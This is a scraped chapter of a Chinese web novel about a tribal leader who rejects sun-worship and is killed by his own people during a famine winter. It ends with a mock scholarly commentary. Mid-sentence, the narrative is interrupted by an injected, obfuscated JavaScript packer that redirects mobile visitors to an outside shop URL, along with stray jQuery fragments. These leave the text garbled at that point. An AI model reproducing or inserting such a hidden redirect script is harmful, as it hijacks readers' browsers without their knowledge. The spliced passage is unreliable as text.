文趣网 > 其他小说 > 神明观察手记 > 6. 冬天
    昆不是苗的孩子,却在苗身边长大。从十五岁开始,他就跟着她南征北战。

    长年累月的相处里,昆学会了苗的每一个习惯,他和她一样,从不祈祷,从不向那根石柱低头,受伤了就用草药,打赢了就分肉,死了就烧掉。

    与见过神祇的苗不同,更年轻的昆不信太阳会帮人打仗,他觉得那都是老人们编的故事,他信任的只有手里的矛和身边的人。

    所以,当上首领后,昆做的第一件事不是祭祀,而是整顿武备。他带人清点武器,加固栅栏,再把食物集中起来统一分配,他不让任何人多拿,但会给战斗中砍下敌人首级的人多分一份。

    人们觉得这个新首领不错。

    变化是从第二个月开始的,有天傍晚,昆路过空地中央的石柱,看到柱脚下放着两颗野果,也不知道是谁放的。

    昆停下脚步看了一会,然后离开了。

    过了几天,他再次经过那根石柱时,看到下面多了一小块干肉。

    昆叫住路过的一个年轻人,指着那块肉问道:“谁放的?”

    年轻人看了一眼,说不知道。

    昆又问:“你放过没有?”

    年轻人犹豫了一下,摇了摇头。

    昆盯着他看了很久,但还是让他走了。

    当天夜里,昆就把石柱推倒了。他没叫其他人帮忙,也没告诉任何人。

    看着顶端的圆形石头滚出去好远,他站在那里,喘了口气。自记事以来,那根柱子和有关太阳的一切,一直伫立在人们心中,让族人畏惧。

    昆觉得,让人跪着的东西,都不该存在。

    第二天,人们发现石柱不见了,空地上只剩一个浅浅的坑和一道长长的拖痕。

    没有人敢问。

    昆开始在其他地方做类似的事,他挨家挨户地走进每一个棚子,看到墙面上刻有太阳图案的,就让人糊起来。

    昆又带人打了几场胜仗,他的威信越来越高,就在他以为一切都在变好的时候,冬天来了。

    第一场雪落下的时候,昆伸出手接住了一片雪花,他以为这只是一个普通的冬天,每年都有冬天,往年都这么过来了,今年也不会有什么不同。

    但今年的冬不是普通的冬。

    这场大雪来势汹汹,一下就整整五天五夜,地上的雪越积越厚,踩下去能一脚没到膝盖,棚子也被压塌了好几个,人们不得不挤在剩下的棚子和山洞里,贴着彼此取暖。

    昆让人把所有柴火集中起来,优先分给孩子和老人,但柴火很快就不够用了,当他们再组织人手出去捡树枝时,雪已经覆盖了大地,忙活半天也难有收获。

    更不幸的是,存粮也在一天天减少。

    昆把每个人的口粮减了又减,从一天两顿变一天一顿,再变成两天一顿,只要饿不死就行。他把有限的粮食集中起来,优先分给强壮的战士,因为他知道,他们必须保持战力,避免有人趁冬天偷袭。

    这个决定引发了部分不满,有人开始小声议论,但没人站出来反对。

    又过了五天,部落开始死人了。

    第一个死的是一个几个月大的婴儿,他太弱了,经不住这样的寒冷,他母亲抱着他冰凉的身体,一动不动地在棚子里坐了一整天。

    昆路过这个棚子的时候,听到里面传来一种奇怪的声音,不是哭,更像从喉咙深处挤出来的气音,像有什么东西卡在胸口迟迟出不来。

    他站在外面,听了很久,还是没进去。

    雪继续纷纷扬扬,河面上的冰厚到可以走人,树皮也被剥光了,地上找不到任何活物。

    有人开始吃土,他们把土块碾碎了掺进雪里,和着一起灌进肚子,试图骗过身体。

    死的人也越来越多,老人、孩子、体弱的女人,一个接一个地去世。

    每天清晨,都有人把冻僵的尸体拖到外面,一开始还有人哭,后来就没人哭了,哭太费力气,要存着这口气多活一天。

    昆开始磨刀,有人问他:“这时候还磨刀做什么?”

    他说:“春天总会来的,当春天再来的时候,我们要去河对岸打猎,那边猎物多。”

    这天夜里,昆巡视的时候,看到三个骨瘦如柴的老人围着一小堆火坐着,那簇火很小,甚至只能说是颤动的红色光点。老人们手里都握着一点东西,或是干草籽,或是一小块树皮。他们把最后能吃的东西一撮一撮地扔进火里,火焰大了一瞬,然后继续微弱地残喘着。

    昆站在暗处,没有过去。他知道,那三个老人已经疯了,所以想通过祈祷来换取所谓神明的垂怜。

    次日,他把所有还能走动的人召集到一起。

    面对那些冻得瑟瑟发抖的面孔,他本想说,再熬一熬,春天就要来了,只要熬过这最艰难的时刻,等天晴了,就能再出去打猎了。

    但他还没开口,人群中忽然有一个声音冒了出来:“是安亚在惩罚我们。”

    昆愣住了,他寻找那个声音的来处,但每个人都低着头,分不清是谁说的。

    “是你冒犯了安亚!所以太阳生气了!”

    “把太阳还回来!”

    “都是因为你!”

    “你才是罪人!”

    底下的声音越来越大,昆站在原地,感觉身体像被什么抽干了一样,他想反驳,但看着那些人的状态,又把话咽了回去。

    这天晚上,昆做了一个梦。

    他梦到苗,梦里的苗还很年轻,她站在一条浅浅的小河旁,看着对岸。

    昆问她:“你在看什么?”

    苗说:“看对面的路。”

    昆又问:“我们要过去吗?”

    苗说:“等水退了,我们就能过去了。”

    苗拍了拍昆的头,渐渐消失,昆想追上去,但一只脚刚踏入河里,他就被冰凉刺骨的河水惊的醒来。

    昆躺在干草上,看着棚顶,棚顶破了个洞,透进一点微光。

    可惜昆没等到水退的那天,甚至他都没看到第二天升起的太阳。

    整个后半夜,昆都没再睡着,即将天亮时,他听到有脚步声靠近。

    进来的是凛,一个更年轻的战士,他平时不怎么说话,做事却很可靠,深得昆的信任。

    凛沉默地看着他,手里的矛却表明了来意。

    昆开口问道:“你是怎么想的?”

    “我弟弟今晚死了。”凛回答道。

    昆忽然觉得很累

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705697|208314||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他不再说话,甚至没有躲。木矛刺进他的胸口,穿过肋骨,从后背透出。他低下头,看着那根插在自己身体里的东西——是他亲手磨过的一根。

    昆倒下了,他的意识渐渐模糊,越来越远,越来越淡。

    他想到了很多事情,却觉得困惑,他努力了一辈子,想要证明人可以依靠自己活着,想要证明人也可以克服寒冷和饥饿。但是没有人听他的,甚至连他自己一手培养起来的亲信,最后也跪倒在绝望面前。

    昆闭上了眼睛。他想,如果安亚真的存在,如果她真的是太阳神,那么她一定看得到地上的事,她看到了冻死的孩子,看到疯了的老人,她什么都看得到,却什么都没做。

    天亮后,凛把昆的尸体拖了出来,他把昆的头割下,插在一根新削的木桩上。

    人们从各自的棚子里出来,看着那根木桩上挂着的东西,一个接一个地围了过来。

    不知是谁先跪下去的,然后是第二个、第三个……

    人类第一次杀死了自己的首领,或许这也是有史以来的第一场政变。

    不是为了食物,也不是为了领地,只为一个他们从未见过的东西。

    安亚是在这时候回来的,和之前相比,她没什么不同,只是部落里已经没有一张她认识的脸了。

    她看到木桩上的人头,也不知道这是谁。

    部落的人很快发现了她,跪着的人抬起头来,愣了一瞬,然后放声大哭,有人跌跌撞撞地跑回家,把仅剩的一点食物捧出来,放在她脚下。

    “她回来了!”

    “她原谅我们了!”

    “是我们杀了那个不敬的人,她才肯回来的!”

    声音一浪高过一浪,像在庆祝什么盛大的胜利。他们坚信,是他们用行动换回了神的宽恕,是他们杀了那个渎神者,才让太阳重新眷顾这片土地。

    安亚不知道他们为什么这么吵,也不知道他们为什么要立起一根石柱,她只是消化完了火的权柄,觉得该回来看看,就回来了。

    至于那些人,跪也好,笑也罢,于她而言,和吹过的风没有太大的区别。

    *

    关于早期文明中“人本意识”的起源,学术界长期存在争议。

    在赫里奥文明遗址的发掘中,考古人员发现了一块被凿毁的太阳纹石板。值得注意的是,类似损毁的石板仅出现在这一处遗址中,更早或更晚的遗址中均未发现同类现象。部分学者据此认为,该部落曾出现过一次短暂的“去神化”尝试。但可供参考的实物证据极为有限,这种尝试的具体过程和主导者身份均无法考证。

    在后世记载中,这段历史也被直接抹去。唯一能佐证其存在的,只有那块在泥土中埋藏了数千年的石板。

    有学者认为,在生产力极为低下、人类对自然现象尚处于蒙昧认知阶段,贸然否定神明信仰,无异于抽掉整个社会秩序的精神支柱,这或许是这次尝试以失败告终的根本原因。

    但无论如何,学者都认可,这种人本意识的萌芽,在客观上为后来的世俗化提供了思想基础。然而,在当时的条件下,这种尝试为时过早,且代价惨重。

    ——《赫里奥文明信仰形态研究·第三章》